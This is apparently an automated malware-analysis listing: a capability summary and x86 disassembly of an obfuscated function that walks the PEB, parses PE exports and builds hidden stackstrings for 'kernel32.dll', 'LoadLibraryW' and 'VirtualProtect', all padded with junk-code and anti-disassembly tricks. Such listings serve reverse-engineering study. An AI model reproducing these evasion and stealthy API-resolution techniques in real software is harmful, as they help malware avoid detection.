Function at 0x41f06e
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x41eb99
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x197c]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1d04]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1980]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1984], eax
mov dword [ebp - 0x1a0], 0
jmp 0x41e9fd
mov ecx, dword [ebp - 0x1a0]
add ecx, 1
mov dword [ebp - 0x1a0], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
test eax, eax
je 0x41eaaf
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x41eaaf
push edx
push edi
add esp, 4
xor edx, 0xbf4d
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x133ae
and esi, 0x14fbd
xor esi, 0x7453
pop esi
push ecx
and ecx, 0x9bcf
or ecx, 0x566c
pop ecx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x41eaa1
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x41eaa8
jmp 0x41e9ee
jmp 0x41eaaf
push eax
jmp 0x41eab6
sub eax, 0x1111e
pop eax
push edx
push edx
add esp, 4
sub edx, 0x3bf
xor edx, 0xea6b
pop edx
push edi
pop edi
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x41eb0e
mov dword [ebp - 0xcb8], 0
jmp 0x41eb7d
push ebx
call 0x41eb1b
add byte [eax], bh
xor al, 0x43
dec edi
dec esi
add esp, 4
call 0x41eb2e
add byte [ecx], bh
dec esi
dec ecx
inc edx
aas
xor eax, 0x324d4a47
add esp, 4
pop ebx
push edx
add edx, 0x30f2
xor edx, 0xd9a
pop edx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x41eb73
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x41eb7d
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x41eb94
mov ecx, dword [ebp - 0x1984]
mov dword [ebp - 0x510], ecx
jmp 0x41eba5
jmp 0x41e97e
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push edi
push esi
add esp, 4
call 0x41ebc3
add byte [ecx + 0x4c], al
xor eax, 0x3f423c4f
add esp, 4
jmp 0x41ebcd
pop edi
push esi
push esi
add esp, 4
or esi, 0x169df
jmp 0x41ebe2
pop esi
mov ecx, dword [ebp - 0x3f8]
add ecx, 0xe
mov dword [ebp - 0x19d4], ecx
push ecx
or ecx, 0xbdad
add ecx, 0x12c60
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x12492
xor ecx, 0xb5cb
pop ecx
push edi
jmp 0x41ec1b
pop edi
push esi
xor esi, 0x17e97
pop esi
cmp dword [ebp - 0x3f8], 0
je 0x41ec36
cmp dword [ebp - 0xab4], 0
jne 0x41ec7c
push edi
or edi, 0xa270
pop edi
push edx
push edx
add esp, 4
and edx, 0x1287
pop edx
push edi
push ecx
add esp, 4
xor edi, 0xb88e
add edi, 0xb950
add edi, 0x3982
xor edi, 0x3d5e
pop edi
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1988], edx
push 0
call dword [ebp - 0x1988]
mov dword [ebp - 0x2090], 0xa
push ecx
and ecx, 0x308f
add ecx, 0x133f0
and ecx, 0x10c0c
xor ecx, 0xd622
pop ecx
push esi
push edi
add esp, 4
sub esi, 0x11d6f
or esi, 0x14c34
sub esi, 0x150c1
pop esi
mov eax, dword [ebp - 0x3f8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab4]
sub edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x168c], edx
mov dword [ebp - 0xce8], 0
push esi
and esi, 0x17130
pop esi
push edi
push ebx
add esp, 4
and edi, 0x13493
xor edi, 0xaf2d
pop edi
push edi
push edi
add esp, 4
sub edi, 0xa336
jmp 0x41ed0e
xor edi, 0xf441
pop edi
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edi
push edi
add esp, 4
call 0x41ed93
add byte [esi], dh
dec edi
inc esi
dec ebx
dec esp
inc edx
dec esi
dec esp
add esp, 4
sub edi, 0x5489
xor edi, 0xd453
pop edi
push edx
push eax
add esp, 4
jmp 0x41edaf
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x198c], eax
mov ecx, dword [ebp - 0x198c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1990], edx
mov eax, dword [ebp - 0x1990]
mov dword [ebp - 0x160c], eax
push edx
push ebx
add esp, 4
or edx, 0xd36c
call 0x41edf0
add byte [0x433f4d4a], dh
cmp eax, 0xc4833937
add al, 0x5a
push esi
push ebx
add esp, 4
sub esi, 0xe65b
jmp 0x41ee08
pop esi
cmp dword [ebp - 0x160c], 0
jne 0x41ee21
mov dword [ebp - 0x314], 0
jmp 0x41f0c8
mov ecx, dword [ebp - 0x160c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push esi
push eax
add esp, 4
and esi, 0x10d03
sub esi, 0x2ea4
xor esi, 0x1208e
xor esi, 0x8a43
pop esi
push eax
add eax, 0x8c7e
and eax, 0x13326
xor eax, 0x15d48
pop eax
cmp dword [ebp - 0xcc4], 0
jne 0x41ee7d
mov dword [ebp - 0x314], 0
jmp 0x41f0c8
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push eax
push esi
add esp, 4
or eax, 0x15904
call 0x41eea0
add byte [eax], bh
dec esi
dec esp
cmp dword [eax], edi
dec esi
add esp, 4
sub eax, 0x14f9
or eax, 0x89d3
pop eax
push ecx
push esi
add esp, 4
jmp 0x41eeba
pop ecx
lea edx, [ebp - 0x1734]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
or ecx, 0x6101
or ecx, 0x168bd
sub ecx, 0xd242
pop ecx
push ecx
push esi
add esp, 4
and ecx, 0x8ff1
and ecx, 0xbfae
pop ecx
push ebx
push eax
add esp, 4
and ebx, 0x4996
pop ebx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push eax
add eax, 0x17091
jmp 0x41ef7a
xor eax, 0xdd9
xor eax, 0x156a8
pop eax
push esi
push eax
add esp, 4
sub esi, 0xdfd1
or esi, 0x2b2
jmp 0x41ef9f
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x41efbd
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1614], ecx
jmp 0x41f017
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x41eee5
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x41eee5
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x41f001
mov dword [ebp - 0x1610], 0xffffffff
jmp 0x41f00b
mov dword [ebp - 0x1610], 1
mov eax, dword [ebp - 0x1610]
mov dword [ebp - 0x1614], eax
cmp dword [ebp - 0x1614], 0
jne 0x41f060
push esi
push ecx
add esp, 4
and esi, 0x14fa8
add esi, 0x14e20
pop esi
push edx
push edx
add esp, 4
call 0x41f047
add byte [ebx], dh
xor eax, 0x4344384c
cmp byte [ebx + esi + 0x4a], al
add esp, 4
jmp 0x41f051
pop edx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x314], ecx
jmp 0x41f0c8
push esi
call 0x41f06e
add byte [eax + 0x40], dl
push eax
inc ecx
dec edi
dec edi
dec ecx
add esp, 4
pop esi
push esi
sub esi, 0x108bb
xor esi, 0x11970
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0xa0ee
xor ecx, 0x6489
pop ecx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x41f0be
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x41ee89
mov dword [ebp - 0x314], 0
push eax
push edx
add esp, 4
and eax, 0x751
jmp 0x41f0d9
pop eax
push ebx
push edx
add esp, 4
and ebx, 0x188c
pop ebx
push edi
sub edi, 0x71a1
xor edi, 0x11ba
sub edi, 0xa33e
pop edi
cmp dword [ebp - 0x314], 0
jne 0x41f9ff
mov eax, 0x6b
mov word [ebp - 0x178c], ax
mov ecx, 0x65
mov word [ebp - 0x178a], cx
mov edx, 0x72
mov word [ebp - 0x1788], dx
mov eax, 0x6e
mov word [ebp - 0x1786], ax
mov ecx, 0x65
mov word [ebp - 0x1784], cx
mov edx, 0x6c
mov word [ebp - 0x1782], dx
mov eax, 0x33
mov word [ebp - 0x1780], ax
mov ecx, 0x32
mov word [ebp - 0x177e], cx
mov edx, 0x2e
mov word [ebp - 0x177c], dx
mov eax, 0x64
mov word [ebp - 0x177a], ax
mov ecx, 0x6c
mov word [ebp - 0x1778], cx
mov edx, 0x6c
mov word [ebp - 0x1776], dx
xor eax, eax
mov word [ebp - 0x1774], ax
push ecx
jmp 0x41f1a9
add ecx, 0xa531
sub ecx, 0x789
pop ecx
push eax
add eax, 0x14a19
add eax, 0xfa98
xor eax, 0x6e25
jmp 0x41f1d1
pop eax
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1994], ecx
mov edx, dword [ebp - 0x1994]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1998], eax
mov ecx, dword [ebp - 0x1998]
mov dword [ebp - 0x1618], ecx
push edx
push eax
add esp, 4
or edx, 0x16b13
call 0x41f26c
add byte [edx], bh
inc esp
inc esp
cmp ecx, dword ss:[ebx + eax*4 - 0x3c]
add al, 0xeb
add eax, 0x3844503f
inc ebp
call 0x41f283
add byte [edi], bh
cmp bh, byte [esi]
dec esi
cmp esi, dword [eax + ecx*2]
add esp, 4
pop edx
cmp dword [ebp - 0x1618], 0
jne 0x41f29f
mov dword [ebp - 0x774], 0
jmp 0x41f546
mov edx, dword [ebp - 0x1618]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push edx
push ebx
add esp, 4
call 0x41f2c6
add byte [eax], bh
aaa
xor al, 0x50
cmp dword [0x453c503d], esi
add esp, 4
pop edx
push ebx
push ebx
add esp, 4
jmp 0x41f2d5
jmp 0x41f2dc
or ebx, 0x3667
pop ebx
cmp dword [ebp - 0xcd0], 0
jne 0x41f2fb
mov dword [ebp - 0x774], 0
jmp 0x41f546
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push eax
sub eax, 0x3ac6
and eax, 0x1284
or eax, 0xdb0a
pop eax
push edx
sub edx, 0x167fa
jmp 0x41f329
and edx, 0xb120
jmp 0x41f338
pop edx
lea eax, [ebp - 0x178c]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x21c], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
sub eax, 0xf21c
xor eax, 0x14cd0
or eax, 0x121ff
pop eax
push edi
push ebx
add esp, 4
or edi, 0x1589d
add edi, 0xd474
or edi, 0x119dd
or edi, 0xc81d
pop edi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x21c], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push ecx
push eax
add esp, 4
add ecx, 0x50d0
pop ecx
push eax
push eax
add esp, 4
and eax, 0xf859
call 0x41f413
add byte [eax + eax*2 + 0x4a], cl
cmp al, byte [ebx + 0x3c]
push eax
dec esi
dec ebx
cmp dword [ebx + 0x5eb04c4], eax
dec eax
aaa
dec ebx
dec ebx
aaa
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x41f43b
movzx edx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1620], edx
jmp 0x41f495
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x41f363
movzx eax, word [ebp - 0x21c]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x41f363
movzx edx, word [ebp - 0x21c]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x41f47f
mov dword [ebp - 0x161c], 0xffffffff
jmp 0x41f489
mov dword [ebp - 0x161c], 1
mov ecx, dword [ebp - 0x161c]
mov dword [ebp - 0x1620], ecx
cmp dword [ebp - 0x1620], 0
jne 0x41f4de
push ebx
add ebx, 0x9e19
pop ebx
push ecx
push ecx
add esp, 4
call 0x41f4b8
add byte [edi + 0x3a], al
xor ecx, dword [eax + 0x49]
inc ebx
inc edi
add esp, 4
pop ecx
push edi
push eax
add esp, 4
or edi, 0x1419f
pop edi
push ebx
or ebx, 0x4d04
pop ebx
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x41f546
push edi
add edi, 0x10923
pop edi
push esi
sub esi, 0x144df
call 0x41f4fa
add byte [esi], bh
push eax
xor edi, dword [ebx]
aas
inc ecx
aaa
add esp, 4
pop esi
push edi
push edx
add esp, 4
sub edi, 0x12983
xor edi, 0x1750e
pop edi
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x41f53c
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x41f307
mov dword [ebp - 0x774], 0
push edx
call 0x41f555
add byte [eax + 0x40], cl
inc edi
cmp eax, 0x3e413633
add esp, 4
sub edx, 0x125d
or edx, 0x342
call 0x41f574
add byte [ecx*2 + 0x3a4e344d], bh
dec ebx
cmp al, 0x35
inc edi
add esp, 4
pop edx
cmp dword [ebp - 0x774], 0
jne 0x41f5c2
push edx
push ecx
add esp, 4
add edx, 0xcc23
pop edx
push edx
push ebx
add esp, 4
add edx, 0x3c83
pop edx
push esi
xor esi, 0xbf7d
xor esi, 0xbff2
sub esi, 0xab0b
xor esi, 0x6490
pop esi
mov dword [ebp - 0xab0], 0
jmp 0x4200ea
push edx
push eax
add esp, 4
sub edx, 0x8ad3
pop edx
push esi
or esi, 0xa126
add esi, 0x3807
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x206
or ecx, 0xa981
or ecx, 0xade5
pop ecx
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1664], eax
cmp dword [ebp - 0x1664], 0
jne 0x41f633
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], ecx
jmp 0x41f924
mov edx, dword [ebp - 0x1664]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1668], eax
jne 0x41f65b
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], ecx
jmp 0x41f924
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1668]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x166c], edx
cmp dword [ebp - 0x166c], 0
jne 0x41f68d
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], eax
jmp 0x41f924
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x166c]
mov dword [ebp - 0x778], ecx
jne 0x41f6b2
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], edx
jmp 0x41f924
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19a4], edx
mov dword [ebp - 0x77c], 0
jmp 0x41f70c
mov eax, dword [ebp - 0x77c]
add eax, 1
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x77c]
cmp edx, dword [ecx + 0x18]
jae 0x41f918
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x199c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x780], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x19a0]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19a8], ecx
mov dword [ebp - 0x1a4], 0
jmp 0x41f77c
mov edx, dword [ebp - 0x1a4]
add edx, 1
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41f82e
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x8a4]
test eax, eax
je 0x41f82e
push esi
push edi
add esp, 4
add esi, 0xeb90
call 0x41f7c1
add byte [eax + 0x35], cl
inc eax
inc ebp
inc esi
dec esi
dec esi
add esp, 4
call 0x41f7d1
add byte [ebx + 0x4f], cl
push eax
inc ebx
inc eax
xor eax, 0x4c4833d
add esi, 0xede4
pop esi
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x8a4]
cmp edx, ecx
je 0x41f820
mov edx, dword [ebp - 0x780]
add edx, dword [ebp - 0x1a4]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a4]
movsx edx, byte [ebp + ecx - 0x8a4]
cmp eax, edx
jne 0x41f827
jmp 0x41f76d
jmp 0x41f82e
push esi
or esi, 0x112b5
and esi, 0x520d
sub esi, 0x16f4f
pop esi
push eax
jmp 0x41f84c
jmp 0x41f853
and eax, 0x572c
add eax, 0x13076
pop eax
mov eax, dword [ebp - 0x780]
add eax, dword [ebp - 0x1a4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a4]
movsx eax, byte [ebp + edx - 0x8a4]
cmp ecx, eax
jne 0x41f88d
mov dword [ebp - 0xcd4], 0
jmp 0x41f8fc
push edi
push edx
add esp, 4
add edi, 0x139fb
add edi, 0xff34
pop edi
push ebx
push ecx
add esp, 4
xor ebx, 0xb46c
jmp 0x41f8b2
pop ebx
push ecx
push ecx
add esp, 4
or ecx, 0x17398
pop ecx
mov ecx, dword [ebp - 0x780]
add ecx, dword [ebp - 0x1a4]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a4]
movsx ecx, byte [ebp + eax - 0x8a4]
or ecx, 0x20
cmp edx, ecx
jge 0x41f8f2
mov dword [ebp - 0xcd4], 0xffffffff
jmp 0x41f8fc
mov dword [ebp - 0xcd4], 1
cmp dword [ebp - 0xcd4], 0
jne 0x41f913
mov edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x3f4], edx
jmp 0x41f924
jmp 0x41f6fd
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x41f9ff
push ecx
or ecx, 0x5c6f
xor ecx, 0x74be
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0x17850
or ecx, 0x648e
or ecx, 0xf339
pop ecx
push esi
push edx
add esp, 4
and esi, 0xb5cc
pop esi
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x19ac], ecx
push esi
push edi
add esp, 4
sub esi, 0x139d
add esi, 0x3a44
xor esi, 0xaeec
pop esi
push edx
and edx, 0x9010
add edx, 0x369c
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x11584
pop ecx
mov edx, dword [ebp - 0x19ac]
mov dword [ebp - 0x19b0], edx
lea eax, [ebp - 0x1734]
push eax
call dword [ebp - 0x19b0]
test eax, eax
jne 0x41f9ff
push edx
add edx, 0x9883
add edx, 0x13288
or edx, 0xfb16
and edx, 0x10365
pop edx
push edx
call 0x41f9e6
add byte [edx + eax*2 + 0x44], cl
dec edi
push eax
dec eax
cmp al, byte [ebx - 0x1d7efb3c]
xchg ebx, eax
xchg byte [ecx], al
add byte [edx - 0x39], bl
test dword [eax - 0xb], edx
invalid
push esi
xor esi, 0xc865
or esi, 0x60e2
or esi, 0x7af0
xor esi, 0xa94
pop esi
push eax
push edi
add esp, 4
or eax, 0xc223
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x4d81
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19b4], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x19b8]
mov dword [ebp - 0x1674], ecx
push ebx
jmp 0x41fa62
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0x655
call 0x41fa7b
add byte [esi], dh
dec edi
aaa
inc ecx
cmp al, byte ss:[ecx - 0x7d]
les eax, [ecx + ebx*2]
push eax
push esi
add esp, 4
jmp 0x41fa8a
pop eax
cmp dword [ebp - 0x1674], 0
jne 0x41faa3
mov dword [ebp - 0x314], 0
jmp 0x41fd4a
mov edx, dword [ebp - 0x1674]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push esi
and esi, 0x45fc
and esi, 0x16a30
pop esi
push edx
add edx, 0xa50
jmp 0x41fad3
jmp 0x41fad8
pop edx
push edi
jmp 0x41fae0
and edi, 0x12917
pop edi
cmp dword [ebp - 0xce0], 0
jne 0x41faff
mov dword [ebp - 0x314], 0
jmp 0x41fd4a
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push eax
push edx
add esp, 4
add eax, 0xc97f
xor eax, 0x125fb
or eax, 0xd4d3
pop eax
push edx
or edx, 0x184b1
add edx, 0xaf20
sub edx, 0xd7e5
and edx, 0x3ec4
pop edx
lea eax, [ebp - 0x1734]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
push esi
add esp, 4
or edi, 0xc7aa
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0xf920
xor ebx, 0x132ac
pop ebx
push edi
or edi, 0xb27c
xor edi, 0x7422
xor edi, 0x3481
pop edi
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x40], ax
push edi
or edi, 0x31c6
call 0x41fc06
add byte [esi + 0x45], al
cmp dword [esi], esi
aaa
cmp byte [esi + esi + 0x4f], cl
add esp, 4
pop edi
push edi
push ebx
add esp, 4
sub edi, 0x10dfc
sub edi, 0x9aea
sub edi, 0x5505
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x41fc3f
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x167c], edx
jmp 0x41fc99
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x41fb67
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x41fb67
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x41fc83
mov dword [ebp - 0x1678], 0xffffffff
jmp 0x41fc8d
mov dword [ebp - 0x1678], 1
mov ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x167c], ecx
cmp dword [ebp - 0x167c], 0
jne 0x41fce2
push esi
add esi, 0xef3a
xor esi, 0x4b9a
add esi, 0x695
sub esi, 0xfc72
pop esi
push edx
push eax
add esp, 4
xor edx, 0x3d22
add edx, 0xd6ba
and edx, 0x8cbe
pop edx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x314], edx
jmp 0x41fd4a
push ecx
push ecx
add esp, 4
sub ecx, 0x5d14
pop ecx
push esi
and esi, 0x12988
add esi, 0xcedc
pop esi
push eax
push ecx
add esp, 4
and eax, 0xc8b
add eax, 0x13539
add eax, 0x17bbd
pop eax
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x41fd40
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x41fb0b
mov dword [ebp - 0x314], 0
push ebx
push edx
add esp, 4
call 0x41fd5c
add byte [edx + 0x39], cl
xor al, 0x4d
inc eax
inc ebx
add esp, 4
add ebx, 0x30b6
and ebx, 0x345
pop ebx
push ecx
sub ecx, 0xc788
pop ecx
push esi
or esi, 0x105be
pop esi
mov ecx, dword [ebp - 0x314]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x338], edx
push esi
push eax
add esp, 4
or esi, 0x691
pop esi
push ecx
add ecx, 0x15af6
and ecx, 0x17b8a
jmp 0x41fdaa
pop ecx
push edi
push eax
add esp, 4
sub edi, 0x516a
xor edi, 0x16650
pop edi
mov dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1680], eax
cmp dword [ebp - 0x1680], 0
jne 0x41fded
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
jmp 0x4200de
mov edx, dword [ebp - 0x1680]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1684], eax
jne 0x41fe15
mov ecx, dword [ebp - 0x794]
mov dword [ebp - 0x520], ecx
